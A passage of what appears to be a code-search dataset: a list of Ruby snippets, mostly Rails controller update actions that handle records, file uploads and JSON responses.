value.each{|k,v|\n indicator[k] = v;\n }\n indicator.save\n }\n\n if @key_indicate_dictionary.update\n respond_to do |format|\n format.html { redirect_to key_indicate_dictionaries_path, notice: 'Dictionary was successfully updated.' }\n format.js { }\n end\n end\n end", "def update\n respond_to do |format|\n if @indicator.update(indicator_params)\n format.html { redirect_to indicators_url, notice: 'El indicador fue editada con exitó.' }\n format.json { render :show, status: :ok, location: @indicator }\n else\n format.html { render :edit }\n format.json { render json: @indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incidentfile.update(incidentfile_params)\n format.html { redirect_to @incidentfile, notice: 'Incidentfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentfile }\n else\n format.html { render :edit }\n format.json { render json: @incidentfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def multi_update\n errors = false\n return_value = []\n file_infos_params = params.permit(file_infos: [:id, :review_done, :component_id]).require(:file_infos)\n file_infos_params.each do |key, file_info_entry|\n (return_value << nil) and (errors = true) and next unless file_info_entry[:id]\n file_info = FileInfo.find(file_info_entry[:id])\n (return_value << nil) and (errors = true) and next unless file_info\n if file_info.update(file_info_entry)\n return_value << file_info_entry\n else\n return_value << file_info.errors\n errors = true\n end\n end\n respond_to do |format|\n format.json { render json: return_value }\n if errors\n format.html { redirect_to :back, notice: 'Some entries have errors'}\n else\n format.html { redirect_to :back }\n end\n end\n end", "def update\n respond_to do |format|\n if @indication_generic_map.update(indication_generic_map_params)\n format.html { redirect_to @indication_generic_map, notice: 'Indication generic map was successfully updated.' }\n format.json { render :show, status: :ok, location: @indication_generic_map }\n else\n format.html { render :edit }\n format.json { render json: @indication_generic_map.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @capa = Capa.find(params[:id])\n\n respond_to do |format|\n if @capa.update_attributes(params[:capa])\n unless params[:capa_files].blank?\n params[:capa_files]['file'].each do |a|\n @capa_file = @capa.capa_files.create!(:file => a, :capa_id => @capa.id)\n end\n end\n format.html { redirect_to @capa, notice: 'Capa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @capa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @indicator_set = IndicatorSet.find(params[:id])\n\n respond_to do |format|\n if @indicator_set.update_attributes(params[:indicator_set])\n format.html { redirect_to @indicator_set, notice: 'Indicator set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indicator_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @key_indicate_map_indicator_files = KeyIndicateMap::IndicatorFile.all\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n respond_to do |format|\n if @pin_attachment.update(pin_attachment_params)\n format.html { redirect_to @pin_attachment, notice: 'Pin attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @pin_attachment }\n else\n format.html { render :edit }\n format.json { render json: @pin_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @file_example.update(file_example_params)\n format.html { redirect_to @file_example, notice: 'File example was successfully updated.' }\n format.json { render :show, status: :ok, location: @file_example }\n else\n format.html { render :edit }\n format.json { render json: @file_example.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_key_indicate_map_indicator_key\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.find(params[:id])\n end", "def update\n respond_to do |format|\n if @file_info.update(file_info_params)\n format.html { redirect_to @file_info, notice: 'File info was successfully updated.' }\n format.json { render :show, status: :ok, location: @file_info }\n else\n format.html { render :edit }\n format.json { render json: @file_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_key_indicate_map_indicator\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.find(params[:id])\n end", "def update\n @file_info = FileInfo.find(params[:id])\n\n respond_to do |format|\n if @file_info.update_attributes(params[:file_info])\n format.html { redirect_to @file_info, notice: 'File info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @indicator_value.update(indicator_value_params)\n format.html { redirect_to @indicator_value, notice: 'Indicator value was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @indicator_value.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n error_msg(ErrorCodes::OBJECT_ERROR, \"#{I18n.t \"endnote_files.errors.not_found\"}: #{params[:id]}\")\n render_json\n end", "def update\n @indexed_file = IndexedFile.find(params[:id])\n\n respond_to do |format|\n if @indexed_file.update_attributes(params[:indexed_file])\n format.html { redirect_to @indexed_file, notice: 'Indexed file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indexed_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @file_version = FileVersion.find(params[:id])\n params[:versioned_file_id] = @file_version.versioned_file_id\n if update_versioned_files? \n if @file_version.update(:isActive => true)\n head :no_content\n else\n render json: @file_version.errors, status: :unprocessable_entity\n end \n else \n render json: @file_version.errors, status: :unprocessable_entity\n end\n end", "def update_file_metadata(file_id, element, new_data)\n payload = { 'uploadType' => 'resumable', element => new_data }.to_json\n\n begin\n update = @drive_manager[file_id].patch(\n payload\n )\n rescue StandardError => error\n warn \"#{error}; METHOD #{__callee__}; RESOURCE #{file_path}\"\n return\n end\n\n update\n end", "def update\n respond_to do |format|\n if @user_file_mapping.update(user_file_mapping_params)\n format.html { redirect_to @user_file_mapping, notice: 'User file mapping was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_file_mapping }\n else\n format.html { render :edit }\n format.json { render json: @user_file_mapping.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n description = file_params[:description] || @file.description\n\n raise ApiError, \"Can't rename a file.\" unless @file.rename(file_params[:name], description)\n\n render json: @file, adapter: :json\n end", "def update\n respond_to do |format|\n if @cadsr_marker_status.update(cadsr_marker_status_params)\n format.html { redirect_to @cadsr_marker_status, notice: 'Cadsr marker status was successfully updated.' }\n format.json { render :show, status: :ok, location: @cadsr_marker_status }\n else\n format.html { render :edit }\n format.json { render json: @cadsr_marker_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params[:file]\n file = params[:file].read\n data = JSON.parse(file)\n ActiveRecord::Base.transaction do\n @patient = Patient.find_by(case_id: data['case_id'])\n if @patient.valid?\n @patient.update_json(data)\n name = params[:file].original_filename\n path = File.join(\"Data\", \"jsons\", name)\n File.open(path, \"wb\") { |f| f.write(file) }\n end\n end\n end\n if usi_params\n usi = UsiMaterialnr.find_or_create_by(patient_id:@patient.id)\n usi.usi_id = usi_params[:usi_id]\n usi.materialnr = usi_params[:materialnr]\n usi.save\n end\n respond_to do |format|\n if @patient.update(patient_params)\n format.html { redirect_to @patient, notice: 'Patient was successfully updated.' }\n format.json { render :show, status: :ok, location: @patient }\n else\n format.html { render :edit }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @key.update(key_params)\n render json: @key\n else\n render json: @key.errors, status: :unprocessable_entity\n end\n end", "def update_file_level_data!(key_val_pairs)\n # Create corresponding data.json file if it doesn't exist yet\n cdjf = corresponding_data_json_file(true)\n cdjf.update_data!(key_val_pairs)\n end", "def patch(diffs)\n @hash = nil # invalidate any cached image\n\n Dir.chdir(root) do\n diffs.each do |diff|\n flag, key, v1, _ = diff\n # if key =~ /\\[/\n # keyname = key.match(/^(.*)\\[\\]$/).captures\n # elsif key =~ /\\./\n # keyname, subkey = key.match(/^(.*)\\.(.*)$/).captures\n # else\n # keyname = key\n # end\n\n dirname, filename, fieldname = Treet::Repo.filefor(key)\n filepath = \"#{dirname}/#{filename}\"\n\n case flag\n when '~'\n # change a value in place\n # load the current data & overwrite with the new value\n # idempotent: this will overwrite the file with the same contents\n if fieldname\n # hash entry\n data = File.exists?(filepath) ? JSON.load(File.open(filepath)) : {}\n data[fieldname] = v1\n File.open(filepath, \"w\") {|f| f << JSON.pretty_generate(data)}\n else\n # string entry\n File.open(filepath, \"w\") {|f| f << v1}\n end\n\n when '+'\n # add something\n if fieldname\n # writing a value into a hash\n # idempotent: this will overwrite the file with the same contents\n data = File.exists?(filepath) ? JSON.load(File.open(filepath)) : {}\n data[fieldname] = v1\n Dir.mkdir(dirname) unless Dir.exists?(dirname)\n File.open(filepath, \"w\") {|f| f << JSON.pretty_generate(data)}\n else\n # writing an entire hash into an array entry\n # idempotent: this will overwrite the file with the same contents\n subfile = \"#{dirname}/#{Treet::Hash.digestify(v1)}\"\n Dir.mkdir(dirname) unless Dir.exists?(dirname)\n case v1\n when Hash\n # hash entry\n File.open(subfile, \"w\") {|f| f << JSON.pretty_generate(v1)}\n else\n # string entry - create empty file with this name\n FileUtils.touch(subfile)\n end\n end\n\n when '-'\n # remove something\n if fieldname\n # this is a key in a subhash\n if File.exists?(filepath)\n # if the subhash is missing, there's nothing to remove, so do nothing (for idempotence)\n data = JSON.load(File.open(filepath))\n data.delete(fieldname)\n if data.empty?\n # all keys have been removed, clean up the file\n File.delete(filename)\n else\n File.open(filepath, \"w\") {|f| f << JSON.pretty_generate(data)}\n end\n end\n elsif dirname == \".\"\n # this is a top-level string\n File.delete(filename) if File.exists?(filename) # need the existence check for idempotence\n else\n # this is an array, we look for a match on the entire contents via digest\n subfile = \"#{dirname}/#{Treet::Hash.digestify(v1)}\"\n File.delete(subfile) if File.exists?(subfile) # need the existence check for idempotence\n # TODO: if dirname is now empty, should it be removed? is that worthwhile?\n end\n end\n end\n end\n\n to_hash # ?? return the patched data? or no return value? true/false for success?\n end", "def update!(**args)\n @update_photo_requests = args[:update_photo_requests] if args.key?(:update_photo_requests)\n end", "def update_metadata(params)\n @client.put(metadata_path, nil, params, \"Content-Type\" => \"application/json\")\n end", "def update\n respond_to do |format|\n if @other_file.update(other_file_params)\n format.html { redirect_to @other_file, notice: 'Other file was successfully updated.' }\n format.json { render :show, status: :ok, location: @other_file }\n else\n format.html { render :edit }\n format.json { render json: @other_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @datafile.update(datafile_params)\n format.html { redirect_to @datafile, notice: 'Datafile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @datafile.errors, status: :unprocessable_entity }\n end\n end\n end", "def perform_study_file_upload(filename, study_file_params, study_id)\n file_upload = Rack::Test::UploadedFile.new(Rails.root.join('test', 'test_data', filename))\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\nend", "def update\n upload = params.require(:file)\n handler = setup_handler(upload)\n\n if handler.valid?\n handler.call\n render json: {}, status: 202\n else\n render json: { errors: handler.errors }, status: 422\n end\n end", "def update\n respond_to do |format|\n if @indicator_federation.update(indicator_federation_params)\n format.html { redirect_to @indicator_federation.indicator}\n format.json { render :show, status: :ok, location: @indicator_federation }\n else\n format.html { render :edit }\n format.json { render json: @indicator_federation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attachinaryfile.update(attachinaryfile_params)\n format.html { redirect_to new_mannequin_attachinary_file_path, notice: 'Attachinaryfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @attachinaryfile }\n else\n format.html { render :edit }\n format.json { render json: @attachinaryfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @indicator = Indicator.find(params[:id])\n\n respond_to do |format|\n if @indicator.update_attributes(params[:indicator])\n format.html { redirect_to(@indicator) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @indicator.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_instance(key, opts, files)\n instance = instance_for_key(key, opts)\n last_hash = @file_hashes[key] || {}\n \n # If they are not equal, we might as well throw everything. The biggest cost is from\n # Chance re-running, and it will have to anyway.\n if not last_hash.eql? files\n instance.unmap_all\n files.each {|path, identifier|\n instance.map_file path, identifier\n }\n \n @file_hashes[key] = files\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n respond_to do |format|\n if @datafile.update(datafile_params)\n format.html { redirect_to @datafile, notice: 'Datafile was successfully updated.' }\n format.json { render :show, status: :ok, location: @datafile }\n else\n format.html { render :edit }\n format.json { render json: @datafile.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path = '/files/', params = {})\n request :put, path, params\n end", "def si_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment_changed = true\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update\n @icon = Icon.find(params[:id])\n if(params[:icon][:icon]!=nil)\n if File.exists?(\"#{Rails.root}/#{@icon.icon}\")\n File.delete(\"#{Rails.root}/#{@icon.icon}\")\n end\n @icon.uploaded_file = params[:icon][:icon]\n directory = \"public/pdf/icons\"\n hashed_name = Digest::SHA1.hexdigest(Time.now.to_s)\n params[:icon][:icon] = directory + \"/\" +hashed_name+\"_\"+params[:icon][:icon].original_filename.gsub(/\\s+/, \"\")\n end\n respond_to do |format|\n if @icon.update_attributes(params[:icon])\n format.html { redirect_to @icon, notice: 'Icon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @icon.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def update\n @key_feature = KeyFeature.find(params[:id])\n\n if @key_feature.update(key_feature_params)\n audit(@key_feature, current_user)\n head :no_content\n else\n render json: @key_feature.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @artwork_image_map.update(artwork_image_map_params)\n format.html { redirect_to @artwork_image_map, notice: 'Artwork image map was successfully updated.' }\n format.json { render :show, status: :ok, location: @artwork_image_map }\n else\n format.html { render :edit }\n format.json { render json: @artwork_image_map.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @indicator_files = []\n\n params['indicate_file'].each do |f|\n doc = KeyIndicateMap::IndicatorFile.new\n doc.indicate_file = f\n params[:key_indicate_map_indicator_file][:title].blank? ? doc.title = f.original_filename : doc.title = params[:key_indicate_map_indicator_file][:title]\n doc.description = params[:key_indicate_map_indicator_file][:description]\n doc.year = params[:year]\n doc.author = current_user.email\n if !doc.save\n respond_to do |format|\n format.js {render :js=> 'alert(\"' + doc.errors.messages[:year][0] + '\");' }\n format.json { head :no_content, status: :unprocessable_entity }\n end\n return\n end\n @indicator_files << doc\n\n table = read_table_from_file 'public/uploads/key_indicate_map/indicator_file/indicate_file/' + doc._id.to_s + '/' + doc.indicate_file.filename\n @errors = doc.import table, doc.year.to_s\n end unless params['indicate_file'].nil?\n\n respond_to do |format|\n format.js {}\n format.json { head :no_content, status: :created }\n end\n end", "def update\n respond_to do |format|\n if @mapimage.update(mapimage_params)\n format.html { redirect_to @mapimage, notice: 'Mapimage was successfully updated.' }\n format.json { render :show, status: :ok, location: @mapimage }\n else\n format.html { render :edit }\n format.json { render json: @mapimage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @attachment }\n else\n format.html { render :edit }\n format.json { render json: @attaessay_file_namechment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @interest_point.update(interest_point_params)\n @interest_point.image_url = rails_blob_path(@interest_point.point_image, only_path: true) if @interest_point.point_image.attached?\n @interest_point.save\n format.html { redirect_to interest_points_path, notice: 'Interest point was successfully updated.' }\n format.json { render :index, status: :ok, location: @interest_point }\n else\n format.html { render :edit }\n format.json { render json: @interest_point.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @batch_file.update(batch_file_params)\n format.html { redirect_to @batch_file, notice: \"Batch file was successfully updated.\" }\n format.json { render :show, status: :ok, location: @batch_file }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @batch_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_photo(album_id, photo_id, file, filename)\n \n end", "def update\n respond_to do |format|\n if @used_object.update(used_object_params)\n if params[:supporting_files]\n params[:supporting_files].each { |file| \n @used_object.supporting_files.create(file: file)\n }\n end\n format.html { redirect_to @used_object, notice: 'Used object was successfully updated.' }\n format.json { render :show, status: :ok, location: @used_object }\n else\n format.html { render :edit }\n format.json { render json: @used_object.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bulletin_file = BulletinFile.find(params[:id])\n\n respond_to do |format|\n if @bulletin_file.update_attributes(params[:bulletin_file])\n format.html { redirect_to @bulletin_file, notice: 'Bulletin file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bulletin_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @file_record.update(file_record_params)\n format.html { redirect_to @file_record, notice: 'File record was successfully updated.' }\n format.json { render :show, status: :ok, location: @file_record }\n else\n format.html { render :edit }\n format.json { render json: @file_record.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cache_flag.update(cache_flag_params)\n format.html { redirect_to @cache_flag, notice: 'Cache flag was successfully updated.' }\n format.json { render :show, status: :ok, location: @cache_flag }\n else\n format.html { render :edit }\n format.json { render json: @cache_flag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @file_record.update(file_record_params)\n format.html { redirect_to @file_record, notice: \"File record was successfully updated.\" }\n format.json { render :show, status: :ok, location: @file_record }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @file_record.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @jargon_file = JargonFile.find(params[:id])\n\n respond_to do |format|\n if @jargon_file.update_attributes(params[:jargon_file])\n format.html { redirect_to @jargon_file, notice: 'Jargon file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jargon_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @eicon = Eicon.find(params[:id])\n if(params[:eicon][:icon]!=nil)\n if File.exists?(\"#{Rails.root}/#{@eicon.icon}\")\n File.delete(\"#{Rails.root}/#{@eicon.icon}\")\n end\n @eicon.uploaded_file = params[:eicon][:icon]\n directory = \"public/pdf/icons\"\n hashed_name = Digest::SHA1.hexdigest(Time.now.to_s)\n params[:eicon][:icon] = directory + \"/\" +hashed_name+\"_\"+params[:eicon][:icon].original_filename.gsub(/\\s+/, \"\")\n end\n respond_to do |format|\n if @eicon.update_attributes(params[:eicon])\n format.html { redirect_to @eicon, notice: 'Eicon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @eicon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_files(resource)\n updated = files.select { |file| file.is_a?(Hash) }.map do |file|\n node = resource.file_metadata.select { |x| x.id.to_s == file.keys.first.to_s }.first\n node.updated_at = Time.current\n # Uses the UploadDecorator to abstract the interface for the File Object during persistence by the storage_adapter\n file_wrapper = UploadDecorator.new(file.values.first, node.original_filename.first)\n\n # Ensure that errors for one file are logged but do not block updates for others\n begin\n storage_adapter.upload(file: file_wrapper, original_filename: file_wrapper.original_filename, resource: node)\n node.label = file.values.first.original_filename\n node.mime_type = file.values.first.content_type\n node\n rescue StandardError => error\n Valkyrie.logger.error \"#{self.class}: Failed to update the file #{file_wrapper.original_filename} for #{node.id}: #{error}\"\n # Ensure that this file is not created instead of updated\n @files.delete_if { |updated_file| updated_file.values.first.original_filename == file_wrapper.original_filename }\n nil\n end\n end\n\n updated.compact\n end", "def update\n respond_to do |format|\n if @access_list_to_ea_point.update(access_list_to_ea_point_params)\n\n @access_list_to_ea_point.ea_pproof.url # => '/url/to/file.png'\n @access_list_to_ea_point.ea_pproof.current_path # => 'path/to/file.png'\n @access_list_to_ea_point.ea_pproof_identifier # => 'file.png'\n\n #format.html { redirect_to \"/ea_points\", notice: 'Document has been uploaded.' }\n format.html { redirect_to @access_list_to_ea_point, notice: 'Access list to ea point was successfully updated.' }\n format.json { render :show, status: :ok, location: @access_list_to_ea_point }\n else\n format.html { render :edit }\n format.json { render json: @access_list_to_ea_point.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.new(key_indicate_map_indicator_params)\n\n respond_to do |format|\n if @key_indicate_map_indicator.save\n format.html { redirect_to @key_indicate_map_indicator, notice: 'Indicator was successfully created.' }\n format.json { render :show, status: :created, location: @key_indicate_map_indicator }\n else\n format.html { render :new }\n format.json { render json: @key_indicate_map_indicator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @unuse_file.update(unuse_file_params)\n format.html { redirect_to @unuse_file, notice: 'Unuse file was successfully updated.' }\n format.json { render :show, status: :ok, location: @unuse_file }\n else\n format.html { render :edit }\n format.json { render json: @unuse_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_image(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end", "def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @expenses_file.update(expenses_file_params)\n format.html { redirect_to @expenses_file, notice: 'Expenses file was successfully updated.' }\n format.json { render :show, status: :ok, location: @expenses_file }\n else\n format.html { render :edit }\n format.json { render json: @expenses_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fokey.update(fokey_params)\n format.html { redirect_to @fokey, notice: 'Fokey was successfully updated.' }\n format.json { render :show, status: :ok, location: @fokey }\n else\n format.html { render :edit }\n format.json { render json: @fokey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_file = TestFile.find(params[:id])\n\n respond_to do |format|\n if @test_file.update_attributes(params[:test_file])\n format.html { redirect_to @test_file, notice: 'Test file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n upload = params.require(:file)\n handler = create_handler(params[:id], upload)\n\n if handler.valid?\n render json: attachment_json(handler.call)\n else\n render json: errors_json(handler), status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @incidentattachment.update(incidentattachment_params)\n format.html { redirect_to @incidentattachment, notice: 'Incidentattachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentattachment }\n else\n format.html { render :edit }\n format.json { render json: @incidentattachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def updateCheckpoints(mapIDs)\n now = DateTime.now.to_s\n\n # Go through the processed IDs and update them in-place within the\n # checkpoints Array. If the processed ID doesn't exist in the checkpoints\n # Array, append it\n mapIDs.each do |id|\n found = false\n @checkpoints.map! do |checkpoint|\n if (checkpoint['id'] == id)\n found = true\n checkpoint['updated_at'] = now\n end\n checkpoint\n end\n \n if (!found) then @checkpoints.push({ 'id'=>id, 'updated_at' => now}) end\n end\n\n # Save the new checkpoints to the file\n json = JSON.generate(@checkpoints)\n file = File.new(@checkpointsFile, 'w')\n file.write(json)\n file.close\n end", "def update\n authorize @s_tool\n files = @s_tool.s_tool_files\n files += s_tool_params[:s_tool_files] if s_tool_params[:s_tool_files]\n @s_tool.assign_attributes(s_tool_params)\n @s_tool.s_tool_files = files\n\n if params[:s_tool_files_remove]\n\n remain_files = @s_tool.s_tool_files\n\n params[:s_tool_files_remove].reverse_each do |file, state|\n if state.to_i == 1\n deleted_files = remain_files.delete_at(file.to_i)\n deleted_files.try(:remove!)\n end\n end\n\n @s_tool.remove_s_tool_files! if remain_files.empty?\n end\n respond_to do |format|\n if @s_tool.save\n format.html { redirect_back_or_default s_tools_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @s_tool }\n else\n format.html { render :edit }\n format.json { render json: @s_tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update_feature_request(folder_id, feature_content, file_name)\n url = URI(\"#{$base_url}/api/projects/#{$project_id}/folders/#{folder_id}/update_from_feature\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n request = Net::HTTP::Patch.new(url)\n request[\"accept\"] = 'application/vnd.api+json; version=1'\n request[\"access-token\"] = $access_token\n request[\"uid\"] = $uid\n request[\"client\"] = $client\n request[\"Content-Type\"] = 'application/json'\n\n data = {\n data: {\n attributes: {\n \"feature\": feature_content\n }\n }\n }\n\n request.body = JSON.generate(data)\n response = http.request(request)\n\n if response.code == 200.to_s\n update_response = JSON.parse(response.read_body)['data']\n puts \"Feature '#{update_response['attributes']['name']}' with '#{update_response['attributes']['scenarios-count']} scenario(s)' updated.\"\n $success_uploaded_count = $success_uploaded_count + 1\n $uploaded_features_list.push(file_name)\n $updated_count = $updated_count + 1\n else\n $fail_uploaded_count = $fail_uploaded_count + 1\n $not_uploaded_features_list.push(file_name)\n end\n\n response.code\nend", "def update\n respond_to do |format|\n if @image_file.update(image_file_params)\n format.html { redirect_to @image_file, notice: 'Image file was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_file }\n else\n format.html { render :edit }\n format.json { render json: @image_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:account][:label_ids] ||= []\n process_file_uploads(@account)\n respond_to do |format|\n if @account.update_attributes(account_params)\n format.html { redirect_to(@account,\n notice: \"Account was successfully updated. #{undo_link}\") }\n format.xml { head :ok }\n else\n handle_error(format, @account, 'edit')\n end\n end\n end", "def update\n if params[:file]\n dirname = File.join('Data', 'Received_VcfFiles', @patient.case_id.to_s)\n dir = \"#{Rails.root}/#{dirname}\"\n FileUtils.mkdir(dir) unless File.directory?(dir)\n fname = params[:file].original_filename\n f = \"#{dir}/#{fname}\"\n vcf = UploadedVcfFile.find_by(patient_id: @patient.id, file_name: fname)\n if vcf.nil?\n FileUtils.cp_r(params[:file].tempfile.path, f)\n vcf = UploadedVcfFile.create(patient_id: @patient.id, file_name: fname, user_id: current_user.id)\n else\n # check if VCF file is different from the original one\n unless FileUtils.compare_file(f, params[:file].tempfile.path)\n vcf.updated_at = Time.now.to_datetime\n FileUtils.cp_r(params[:file].tempfile.path, f)\n end\n end\n vcf.save\n end\n if usi_params\n usi = UsiMaterialnr.find_or_create_by(patient_id: @patient.id)\n usi.usi_id = usi_params[:usi_id]\n usi.materialnr = usi_params[:materialnr]\n usi.save\n end\n respond_to do |format|\n if @patient.update(patient_params)\n format.html { redirect_to @patient, notice: 'Patient was successfully updated.' }\n format.json { render :show, status: :ok, location: @patient }\n else\n format.html { render :edit }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @flag.update(flag_params)\n format.html { redirect_to @flag, notice: 'Flag was successfully updated.' }\n format.json { render :show, status: :ok, location: @flag }\n else\n format.html { render :edit }\n format.json { render json: @flag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @annotationLayerIn = params['annotationLayer']\n\n @problem = ''\n if !validate_annotationLayer(@annotationLayerIn)\n errMsg = \"Annotation Layer not valid and could not be updated: \" + @problem\n render :json => { :error => errMsg },\n :status => :unprocessable_entity\n else\n @annotationLayer = AnnotationLayer.where(layer_id: @annotationLayerIn['@id']).first\n #authorize! :update, @annotationLayer\n\n if @annotationLayer.version.nil? || @annotationLayer.version < 1\n @annotationLayer.version = 1\n end\n\n if !version_layer @annotationLayer\n errMsg = \"Annotation Layer could not be updated: \" + @problem\n render :json => { :error => errMsg },\n :status => :unprocessable_entity\n end\n\n newVersion = @annotationLayer.version + 1\n request.format = \"json\"\n respond_to do |format|\n if @annotationLayer.update_attributes(\n :layer_id => @annotationLayerIn['@id'],\n :layer_type => @annotationLayerIn['@type'],\n :label => @annotationLayerIn['label'],\n :motivation => @annotationLayerIn['motivation'],\n :license => @annotationLayerIn['license'],\n :description => @annotationLayerIn['description'],\n :version => newVersion\n )\n format.html { redirect_to @annotationLayer, notice: 'AnnotationLayer was successfully updated.' }\n format.json { render json: @annotationLayer.to_iiif, status: 200, content_type: \"application/json\" }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @annotationLayer.errors, status: :unprocessable_entity, content_type: \"application/json\" }\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @testfile.update(testfile_params)\n format.html { redirect_to @testfile, notice: 'Testfile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testfile.errors, status: :unprocessable_entity }\n end\n 